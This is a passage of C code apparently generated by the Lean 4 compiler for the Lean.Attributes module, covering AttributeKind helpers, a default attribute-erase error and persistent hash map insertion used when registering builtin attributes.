return x_2;
}
case 1:
{
lean_object* x_3;
x_3 = lean_unsigned_to_nat(1u);
return x_3;
}
default:
{
lean_object* x_4;
x_4 = lean_unsigned_to_nat(2u);
return x_4;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeKind_toCtorIdx___boxed(lean_object* x_1) {
_start:
{
uint8_t x_2; lean_object* x_3;
x_2 = lean_unbox(x_1);
lean_dec(x_1);
x_3 = l_Lean_AttributeKind_toCtorIdx(x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeKind_noConfusion___rarg(uint8_t x_1, uint8_t x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = l_Lean_AttributeApplicationTime_noConfusion___rarg___closed__1;
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeKind_noConfusion(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_AttributeKind_noConfusion___rarg___boxed), 3, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeKind_noConfusion___rarg___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
uint8_t x_4; uint8_t x_5; lean_object* x_6;
x_4 = lean_unbox(x_1);
lean_dec(x_1);
x_5 = lean_unbox(x_2);
lean_dec(x_2);
x_6 = l_Lean_AttributeKind_noConfusion___rarg(x_4, x_5, x_3);
return x_6;
}
}
LEAN_EXPORT uint8_t l___private_Lean_Attributes_0__Lean_beqAttributeKind____x40_Lean_Attributes___hyg_367_(uint8_t x_1, uint8_t x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; uint8_t x_5;
x_3 = l_Lean_AttributeKind_toCtorIdx(x_1);
x_4 = l_Lean_AttributeKind_toCtorIdx(x_2);
x_5 = lean_nat_dec_eq(x_3, x_4);
lean_dec(x_4);
lean_dec(x_3);
return x_5;
}
}
LEAN_EXPORT lean_object* l___private_Lean_Attributes_0__Lean_beqAttributeKind____x40_Lean_Attributes___hyg_367____boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
uint8_t x_3; uint8_t x_4; uint8_t x_5; lean_object* x_6;
x_3 = lean_unbox(x_1);
lean_dec(x_1);
x_4 = lean_unbox(x_2);
lean_dec(x_2);
x_5 = l___private_Lean_Attributes_0__Lean_beqAttributeKind____x40_Lean_Attributes___hyg_367_(x_3, x_4);
x_6 = lean_box(x_5);
return x_6;
}
}
static lean_object* _init_l_Lean_instBEqAttributeKind___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l___private_Lean_Attributes_0__Lean_beqAttributeKind____x40_Lean_Attributes___hyg_367____boxed), 2, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_instBEqAttributeKind() {
_start:
{
lean_object* x_1;
x_1 = l_Lean_instBEqAttributeKind___closed__1;
return x_1;
}
}
static uint8_t _init_l_Lean_instInhabitedAttributeKind() {
_start:
{
uint8_t x_1;
x_1 = 0;
return x_1;
}
}
static lean_object* _init_l_Lean_instToStringAttributeKind___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("global", 6);
return x_1;
}
}
static lean_object* _init_l_Lean_instToStringAttributeKind___closed__2() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("local", 5);
return x_1;
}
}
static lean_object* _init_l_Lean_instToStringAttributeKind___closed__3() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("scoped", 6);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_instToStringAttributeKind(uint8_t x_1) {
_start:
{
switch (x_1) {
case 0:
{
lean_object* x_2;
x_2 = l_Lean_instToStringAttributeKind___closed__1;
return x_2;
}
case 1:
{
lean_object* x_3;
x_3 = l_Lean_instToStringAttributeKind___closed__2;
return x_3;
}
default:
{
lean_object* x_4;
x_4 = l_Lean_instToStringAttributeKind___closed__3;
return x_4;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_instToStringAttributeKind___boxed(lean_object* x_1) {
_start:
{
uint8_t x_2; lean_object* x_3;
x_2 = lean_unbox(x_1);
lean_dec(x_1);
x_3 = l_Lean_instToStringAttributeKind(x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_AttributeImpl_erase___default___spec__1(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; uint8_t x_7;
x_5 = lean_ctor_get(x_2, 5);
x_6 = l_Lean_addMessageContextPartial___at_Lean_Core_instAddMessageContextCoreM___spec__1(x_1, x_2, x_3, x_4);
x_7 = !lean_is_exclusive(x_6);
if (x_7 == 0)
{
lean_object* x_8; lean_object* x_9;
x_8 = lean_ctor_get(x_6, 0);
lean_inc(x_5);
x_9 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_9, 0, x_5);
lean_ctor_set(x_9, 1, x_8);
lean_ctor_set_tag(x_6, 1);
lean_ctor_set(x_6, 0, x_9);
return x_6;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13;
x_10 = lean_ctor_get(x_6, 0);
x_11 = lean_ctor_get(x_6, 1);
lean_inc(x_11);
lean_inc(x_10);
lean_dec(x_6);
lean_inc(x_5);
x_12 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_12, 0, x_5);
lean_ctor_set(x_12, 1, x_10);
x_13 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_13, 0, x_12);
lean_ctor_set(x_13, 1, x_11);
return x_13;
}
}
}
static lean_object* _init_l_Lean_AttributeImpl_erase___default___rarg___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("attribute cannot be erased", 26);
return x_1;
}
}
static lean_object* _init_l_Lean_AttributeImpl_erase___default___rarg___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_AttributeImpl_erase___default___rarg___closed__1;
x_2 = l_Lean_stringToMessageData(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeImpl_erase___default___rarg(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4; lean_object* x_5;
x_4 = l_Lean_AttributeImpl_erase___default___rarg___closed__2;
x_5 = l_Lean_throwError___at_Lean_AttributeImpl_erase___default___spec__1(x_4, x_1, x_2, x_3);
lean_dec(x_2);
lean_dec(x_1);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeImpl_erase___default(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_AttributeImpl_erase___default___rarg), 3, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_AttributeImpl_erase___default___spec__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_throwError___at_Lean_AttributeImpl_erase___default___spec__1(x_1, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_2);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeImpl_erase___default___boxed(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_AttributeImpl_erase___default(x_1);
lean_dec(x_1);
return x_2;
}
}
static lean_object* _init_l_Lean_instInhabitedAttributeImpl___lambda__1___closed__1() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = lean_box(0);
x_2 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_2, 0, x_1);
return x_2;
}
}
static lean_object* _init_l_Lean_instInhabitedAttributeImpl___lambda__1___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = lean_box(0);
x_2 = l_Lean_instInhabitedAttributeImpl___lambda__1___closed__1;
x_3 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedAttributeImpl___lambda__1(lean_object* x_1, lean_object* x_2, uint8_t x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6) {
_start:
{
lean_object* x_7; lean_object* x_8;
x_7 = l_Lean_instInhabitedAttributeImpl___lambda__1___closed__2;
x_8 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_8, 0, x_7);
lean_ctor_set(x_8, 1, x_6);
return x_8;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedAttributeImpl___lambda__2(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6;
x_5 = l_Lean_instInhabitedAttributeImpl___lambda__1___closed__2;
x_6 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_6, 0, x_5);
lean_ctor_set(x_6, 1, x_4);
return x_6;
}
}
static lean_object* _init_l_Lean_instInhabitedAttributeImpl___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_instInhabitedAttributeImpl___lambda__1___boxed), 6, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_instInhabitedAttributeImpl___closed__2() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_instInhabitedAttributeImpl___lambda__2___boxed), 4, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_instInhabitedAttributeImpl___closed__3() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4;
x_1 = l_Lean_instInhabitedAttributeImplCore___closed__2;
x_2 = l_Lean_instInhabitedAttributeImpl___closed__1;
x_3 = l_Lean_instInhabitedAttributeImpl___closed__2;
x_4 = lean_alloc_ctor(0, 3, 0);
lean_ctor_set(x_4, 0, x_1);
lean_ctor_set(x_4, 1, x_2);
lean_ctor_set(x_4, 2, x_3);
return x_4;
}
}
static lean_object* _init_l_Lean_instInhabitedAttributeImpl() {
_start:
{
lean_object* x_1;
x_1 = l_Lean_instInhabitedAttributeImpl___closed__3;
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedAttributeImpl___lambda__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6) {
_start:
{
uint8_t x_7; lean_object* x_8;
x_7 = lean_unbox(x_3);
lean_dec(x_3);
x_8 = l_Lean_instInhabitedAttributeImpl___lambda__1(x_1, x_2, x_7, x_4, x_5, x_6);
lean_dec(x_5);
lean_dec(x_4);
lean_dec(x_2);
lean_dec(x_1);
return x_8;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedAttributeImpl___lambda__2___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_instInhabitedAttributeImpl___lambda__2(x_1, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
return x_5;
}
}
static lean_object* _init_l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__1() {
_start:
{
lean_object* x_1;
x_1 = l_Lean_PersistentHashMap_mkEmptyEntriesArray(lean_box(0), lean_box(0));
return x_1;
}
}
static lean_object* _init_l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__1;
x_2 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_2, 0, x_1);
return x_2;
}
}
static lean_object* _init_l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__3() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__2;
x_2 = lean_unsigned_to_nat(0u);
x_3 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_518_(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; uint8_t x_4;
x_2 = l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__3;
x_3 = lean_st_mk_ref(x_2, x_1);
x_4 = !lean_is_exclusive(x_3);
if (x_4 == 0)
{
return x_3;
}
else
{
lean_object* x_5; lean_object* x_6; lean_object* x_7;
x_5 = lean_ctor_get(x_3, 0);
x_6 = lean_ctor_get(x_3, 1);
lean_inc(x_6);
lean_inc(x_5);
lean_dec(x_3);
x_7 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_7, 0, x_5);
lean_ctor_set(x_7, 1, x_6);
return x_7;
}
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_insertAux_traverse___at_Lean_registerBuiltinAttribute___spec__3(size_t x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6) {
_start:
{
lean_object* x_7; uint8_t x_8;
x_7 = lean_array_get_size(x_2);
x_8 = lean_nat_dec_lt(x_5, x_7);
lean_dec(x_7);
if (x_8 == 0)
{
lean_dec(x_5);
return x_6;
}
else
{
lean_object* x_9; lean_object* x_10; uint64_t x_11; size_t x_12; size_t x_13; size_t x_14; size_t x_15; size_t x_16; size_t x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20;
x_9 = lean_array_fget(x_2, x_5);
x_10 = lean_array_fget(x_3, x_5);
x_11 = l_Lean_Name_hash___override(x_9);
x_12 = lean_uint64_to_usize(x_11);
x_13 = 1;
x_14 = lean_usize_sub(x_1, x_13);
x_15 = 5;
x_16 = lean_usize_mul(x_15, x_14);
x_17 = lean_usize_shift_right(x_12, x_16);
x_18 = lean_unsigned_to_nat(1u);
x_19 = lean_nat_add(x_5, x_18);
lean_dec(x_5);
x_20 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2(x_6, x_17, x_1, x_9, x_10);
x_4 = lean_box(0);
x_5 = x_19;
x_6 = x_20;
goto _start;
}
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_insertAtCollisionNodeAux___at_Lean_registerBuiltinAttribute___spec__4(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; lean_object* x_7; uint8_t x_8;
x_5 = lean_ctor_get(x_1, 0);
lean_inc(x_5);
x_6 = lean_ctor_get(x_1, 1);
lean_inc(x_6);
x_7 = lean_array_get_size(x_5);
x_8 = lean_nat_dec_lt(x_2, x_7);
lean_dec(x_7);
if (x_8 == 0)
{
uint8_t x_9;
lean_dec(x_2);
x_9 = !lean_is_exclusive(x_1);
if (x_9 == 0)
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13;
x_10 = lean_ctor_get(x_1, 1);
lean_dec(x_10);
x_11 = lean_ctor_get(x_1, 0);
lean_dec(x_11);
x_12 = lean_array_push(x_5, x_3);
x_13 = lean_array_push(x_6, x_4);
lean_ctor_set(x_1, 1, x_13);
lean_ctor_set(x_1, 0, x_12);
return x_1;
}
else
{
lean_object* x_14; lean_object* x_15; lean_object* x_16;
lean_dec(x_1);
x_14 = lean_array_push(x_5, x_3);
x_15 = lean_array_push(x_6, x_4);
x_16 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_16, 0, x_14);
lean_ctor_set(x_16, 1, x_15);
return x_16;
}
}
else
{
lean_object* x_17; uint8_t x_18;
x_17 = lean_array_fget(x_5, x_2);
x_18 = lean_name_eq(x_3, x_17);
lean_dec(x_17);
if (x_18 == 0)
{
lean_object* x_19; lean_object* x_20;
lean_dec(x_6);
lean_dec(x_5);
x_19 = lean_unsigned_to_nat(1u);
x_20 = lean_nat_add(x_2, x_19);
lean_dec(x_2);
x_2 = x_20;
goto _start;
}
else
{
uint8_t x_22;
x_22 = !lean_is_exclusive(x_1);
if (x_22 == 0)
{
lean_object* x_23; lean_object* x_24; lean_object* x_25; lean_object* x_26;
x_23 = lean_ctor_get(x_1, 1);
lean_dec(x_23);
x_24 = lean_ctor_get(x_1, 0);
lean_dec(x_24);
x_25 = lean_array_fset(x_5, x_2, x_3);
x_26 = lean_array_fset(x_6, x_2, x_4);
lean_dec(x_2);
lean_ctor_set(x_1, 1, x_26);
lean_ctor_set(x_1, 0, x_25);
return x_1;
}
else
{
lean_object* x_27; lean_object* x_28; lean_object* x_29;
lean_dec(x_1);
x_27 = lean_array_fset(x_5, x_2, x_3);
x_28 = lean_array_fset(x_6, x_2, x_4);
lean_dec(x_2);
x_29 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_29, 0, x_27);
lean_ctor_set(x_29, 1, x_28);
return x_29;
}
}
}
}
}
static size_t _init_l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__1() {
_start:
{
size_t x_1; size_t x_2; size_t x_3;
x_1 = 1;
x_2 = 5;
x_3 = lean_usize_shift_left(x_1, x_2);
return x_3;
}
}
static size_t _init_l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__2() {
_start:
{
size_t x_1; size_t x_2; size_t x_3;
x_1 = 1;
x_2 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__1;
x_3 = lean_usize_sub(x_2, x_1);
return x_3;
}
}
static lean_object* _init_l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__3() {
_start:
{
lean_object* x_1;
x_1 = l_Lean_PersistentHashMap_mkEmptyEntries(lean_box(0), lean_box(0));
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2(lean_object* x_1, size_t x_2, size_t x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
if (lean_obj_tag(x_1) == 0)
{
uint8_t x_6;
x_6 = !lean_is_exclusive(x_1);
if (x_6 == 0)
{
lean_object* x_7; size_t x_8; size_t x_9; size_t x_10; size_t x_11; lean_object* x_12; lean_object* x_13; uint8_t x_14;
x_7 = lean_ctor_get(x_1, 0);
x_8 = 1;
x_9 = 5;
x_10 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__2;
x_11 = lean_usize_land(x_2, x_10);
x_12 = lean_usize_to_nat(x_11);
x_13 = lean_array_get_size(x_7);
x_14 = lean_nat_dec_lt(x_12, x_13);
lean_dec(x_13);
if (x_14 == 0)
{
lean_dec(x_12);
lean_dec(x_5);
lean_dec(x_4);
return x_1;
}
else
{
lean_object* x_15; lean_object* x_16; lean_object* x_17;
x_15 = lean_array_fget(x_7, x_12);
x_16 = lean_box(0);
x_17 = lean_array_fset(x_7, x_12, x_16);
switch (lean_obj_tag(x_15)) {
case 0:
{
uint8_t x_18;
x_18 = !lean_is_exclusive(x_15);
if (x_18 == 0)
{
lean_object* x_19; lean_object* x_20; uint8_t x_21;
x_19 = lean_ctor_get(x_15, 0);
x_20 = lean_ctor_get(x_15, 1);
x_21 = lean_name_eq(x_4, x_19);
if (x_21 == 0)
{
lean_object* x_22; lean_object* x_23; lean_object* x_24;
lean_free_object(x_15);
x_22 = l_Lean_PersistentHashMap_mkCollisionNode___rarg(x_19, x_20, x_4, x_5);
x_23 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_23, 0, x_22);
x_24 = lean_array_fset(x_17, x_12, x_23);
lean_dec(x_12);
lean_ctor_set(x_1, 0, x_24);
return x_1;
}
else
{
lean_object* x_25;
lean_dec(x_20);
lean_dec(x_19);
lean_ctor_set(x_15, 1, x_5);
lean_ctor_set(x_15, 0, x_4);
x_25 = lean_array_fset(x_17, x_12, x_15);
lean_dec(x_12);
lean_ctor_set(x_1, 0, x_25);
return x_1;
}
}
else
{
lean_object* x_26; lean_object* x_27; uint8_t x_28;
x_26 = lean_ctor_get(x_15, 0);
x_27 = lean_ctor_get(x_15, 1);
lean_inc(x_27);
lean_inc(x_26);
lean_dec(x_15);
x_28 = lean_name_eq(x_4, x_26);
if (x_28 == 0)
{
lean_object* x_29; lean_object* x_30; lean_object* x_31;
x_29 = l_Lean_PersistentHashMap_mkCollisionNode___rarg(x_26, x_27, x_4, x_5);
x_30 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_30, 0, x_29);
x_31 = lean_array_fset(x_17, x_12, x_30);
lean_dec(x_12);
lean_ctor_set(x_1, 0, x_31);
return x_1;
}
else
{
lean_object* x_32; lean_object* x_33;
lean_dec(x_27);
lean_dec(x_26);
x_32 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_32, 0, x_4);
lean_ctor_set(x_32, 1, x_5);
x_33 = lean_array_fset(x_17, x_12, x_32);
lean_dec(x_12);
lean_ctor_set(x_1, 0, x_33);
return x_1;
}
}
}
case 1:
{
uint8_t x_34;
x_34 = !lean_is_exclusive(x_15);
if (x_34 == 0)
{
lean_object* x_35; size_t x_36; size_t x_37; lean_object* x_38; lean_object* x_39;
x_35 = lean_ctor_get(x_15, 0);
x_36 = lean_usize_shift_right(x_2, x_9);
x_37 = lean_usize_add(x_3, x_8);
x_38 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2(x_35, x_36, x_37, x_4, x_5);
lean_ctor_set(x_15, 0, x_38);
x_39 = lean_array_fset(x_17, x_12, x_15);
lean_dec(x_12);
lean_ctor_set(x_1, 0, x_39);
return x_1;
}
else
{
lean_object* x_40; size_t x_41; size_t x_42; lean_object* x_43; lean_object* x_44; lean_object* x_45;
x_40 = lean_ctor_get(x_15, 0);
lean_inc(x_40);
lean_dec(x_15);
x_41 = lean_usize_shift_right(x_2, x_9);
x_42 = lean_usize_add(x_3, x_8);
x_43 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2(x_40, x_41, x_42, x_4, x_5);
x_44 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_44, 0, x_43);
x_45 = lean_array_fset(x_17, x_12, x_44);
lean_dec(x_12);
lean_ctor_set(x_1, 0, x_45);
return x_1;
}
}
default:
{
lean_object* x_46; lean_object* x_47;
x_46 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_46, 0, x_4);
lean_ctor_set(x_46, 1, x_5);
x_47 = lean_array_fset(x_17, x_12, x_46);
lean_dec(x_12);
lean_ctor_set(x_1, 0, x_47);
return x_1;
}
}
}
}
else
{
lean_object* x_48; size_t x_49; size_t x_50; size_t x_51; size_t x_52; lean_object* x_53; lean_object* x_54; uint8_t x_55;
x_48 = lean_ctor_get(x_1, 0);
lean_inc(x_48);
lean_dec(x_1);
x_49 = 1;
x_50 = 5;
x_51 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__2;
x_52 = lean_usize_land(x_2, x_51);
x_53 = lean_usize_to_nat(x_52);
x_54 = lean_array_get_size(x_48);
x_55 = lean_nat_dec_lt(x_53, x_54);
lean_dec(x_54);
if (x_55 == 0)
{
lean_object* x_56;
lean_dec(x_53);
lean_dec(x_5);
lean_dec(x_4);
x_56 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_56, 0, x_48);
return x_56;
}
else
{
lean_object* x_57; lean_object* x_58; lean_object* x_59;
x_57 = lean_array_fget(x_48, x_53);
x_58 = lean_box(0);
x_59 = lean_array_fset(x_48, x_53, x_58);
switch (lean_obj_tag(x_57)) {
case 0:
{
lean_object* x_60; lean_object* x_61; lean_object* x_62; uint8_t x_63;
x_60 = lean_ctor_get(x_57, 0);
lean_inc(x_60);
x_61 = lean_ctor_get(x_57, 1);
lean_inc(x_61);
if (lean_is_exclusive(x_57)) {
lean_ctor_release(x_57, 0);
lean_ctor_release(x_57, 1);
x_62 = x_57;
} else {
lean_dec_ref(x_57);
x_62 = lean_box(0);
}
x_63 = lean_name_eq(x_4, x_60);
if (x_63 == 0)
{
lean_object* x_64; lean_object* x_65; lean_object* x_66; lean_object* x_67;
lean_dec(x_62);
x_64 = l_Lean_PersistentHashMap_mkCollisionNode___rarg(x_60, x_61, x_4, x_5);
x_65 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_65, 0, x_64);
x_66 = lean_array_fset(x_59, x_53, x_65);
lean_dec(x_53);
x_67 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_67, 0, x_66);
return x_67;
}
else
{
lean_object* x_68; lean_object* x_69; lean_object* x_70;
lean_dec(x_61);
lean_dec(x_60);
if (lean_is_scalar(x_62)) {
x_68 = lean_alloc_ctor(0, 2, 0);
} else {
x_68 = x_62;
}
lean_ctor_set(x_68, 0, x_4);
lean_ctor_set(x_68, 1, x_5);
x_69 = lean_array_fset(x_59, x_53, x_68);
lean_dec(x_53);
x_70 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_70, 0, x_69);
return x_70;
}
}
case 1:
{
lean_object* x_71; lean_object* x_72; size_t x_73; size_t x_74; lean_object* x_75; lean_object* x_76; lean_object* x_77; lean_object* x_78;
x_71 = lean_ctor_get(x_57, 0);
lean_inc(x_71);
if (lean_is_exclusive(x_57)) {
lean_ctor_release(x_57, 0);
x_72 = x_57;
} else {
lean_dec_ref(x_57);
x_72 = lean_box(0);
}
x_73 = lean_usize_shift_right(x_2, x_50);
x_74 = lean_usize_add(x_3, x_49);
x_75 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2(x_71, x_73, x_74, x_4, x_5);
if (lean_is_scalar(x_72)) {
x_76 = lean_alloc_ctor(1, 1, 0);
} else {
x_76 = x_72;
}
lean_ctor_set(x_76, 0, x_75);
x_77 = lean_array_fset(x_59, x_53, x_76);
lean_dec(x_53);
x_78 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_78, 0, x_77);
return x_78;
}
default:
{
lean_object* x_79; lean_object* x_80; lean_object* x_81;
x_79 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_79, 0, x_4);
lean_ctor_set(x_79, 1, x_5);
x_80 = lean_array_fset(x_59, x_53, x_79);
lean_dec(x_53);
x_81 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_81, 0, x_80);
return x_81;
}
}
}
}
}
else
{
uint8_t x_82;
x_82 = !lean_is_exclusive(x_1);
if (x_82 == 0)
{
lean_object* x_83; lean_object* x_84; size_t x_85; uint8_t x_86;
x_83 = lean_unsigned_to_nat(0u);
x_84 = l_Lean_PersistentHashMap_insertAtCollisionNodeAux___at_Lean_registerBuiltinAttribute___spec__4(x_1, x_83, x_4, x_5);
x_85 = 7;
x_86 = lean_usize_dec_le(x_85, x_3);
if (x_86 == 0)
{
lean_object* x_87; lean_object* x_88; uint8_t x_89;
x_87 = l_Lean_PersistentHashMap_getCollisionNodeSize___rarg(x_84);
x_88 = lean_unsigned_to_nat(4u);
x_89 = lean_nat_dec_lt(x_87, x_88);
lean_dec(x_87);
if (x_89 == 0)
{
lean_object* x_90; lean_object* x_91; lean_object* x_92; lean_object* x_93;
x_90 = lean_ctor_get(x_84, 0);
lean_inc(x_90);
x_91 = lean_ctor_get(x_84, 1);
lean_inc(x_91);
lean_dec(x_84);
x_92 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__3;
x_93 = l_Lean_PersistentHashMap_insertAux_traverse___at_Lean_registerBuiltinAttribute___spec__3(x_3, x_90, x_91, lean_box(0), x_83, x_92);
lean_dec(x_91);
lean_dec(x_90);
return x_93;
}
else
{
return x_84;
}
}
else
{
return x_84;
}
}
else
{
lean_object* x_94; lean_object* x_95; lean_object* x_96; lean_object* x_97; lean_object* x_98; size_t x_99; uint8_t x_100;
x_94 = lean_ctor_get(x_1, 0);
x_95 = lean_ctor_get(x_1, 1);
lean_inc(x_95);
lean_inc(x_94);
lean_dec(x_1);
x_96 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_96, 0, x_94);
lean_ctor_set(x_96, 1, x_95);
x_97 = lean_unsigned_to_nat(0u);
x_98 = l_Lean_PersistentHashMap_insertAtCollisionNodeAux___at_Lean_registerBuiltinAttribute___spec__4(x_96, x_97, x_4, x_5);
x_99 = 7;
x_100 = lean_usize_dec_le(x_99, x_3);
if (x_100 == 0)
{
lean_object* x_101; lean_object* x_102; uint8_t x_103;
x_101 = l_Lean_PersistentHashMap_getCollisionNodeSize___rarg(x_98);
x_102 = lean_unsigned_to_nat(4u);
x_103 = lean_nat_dec_lt(x_101, x_102);
lean_dec(x_101);
if (x_103 == 0)
{
lean_object* x_104; lean_object* x_105; lean_object* x_106; lean_object* x_107;
x_104 = lean_ctor_get(x_98, 0);
lean_inc(x_104);
x_105 = lean_ctor_get(x_98, 1);
lean_inc(x_105);
lean_dec(x_98);
x_106 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__3;
x_107 = l_Lean_PersistentHashMap_insertAux_traverse___at_Lean_registerBuiltinAttribute___spec__3(x_3, x_104, x_105, lean_box(0), x_97, x_106);
lean_dec(x_105);
lean_dec(x_104);
return x_107;
}
else
{
return x_98;
}
}
else
{
return x_98;
}
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_insert___at_Lean_registerBuiltinAttribute___spec__1(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
uint8_t x_4;
x_4 = !lean_is_exclusive(x_1);
if (x_4 == 0)
{
lean_object* x_5; lean_object* x_6; uint64_t x_7; size_t x_8; size_t x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12;
x_5 = lean_ctor_get(x_1, 0);
x_6 = lean_ctor_get(x_1, 1);
x_7 = l_Lean_Name_hash___override(x_2);
x_8 = lean_uint64_to_usize(x_7);
x_9 = 1;
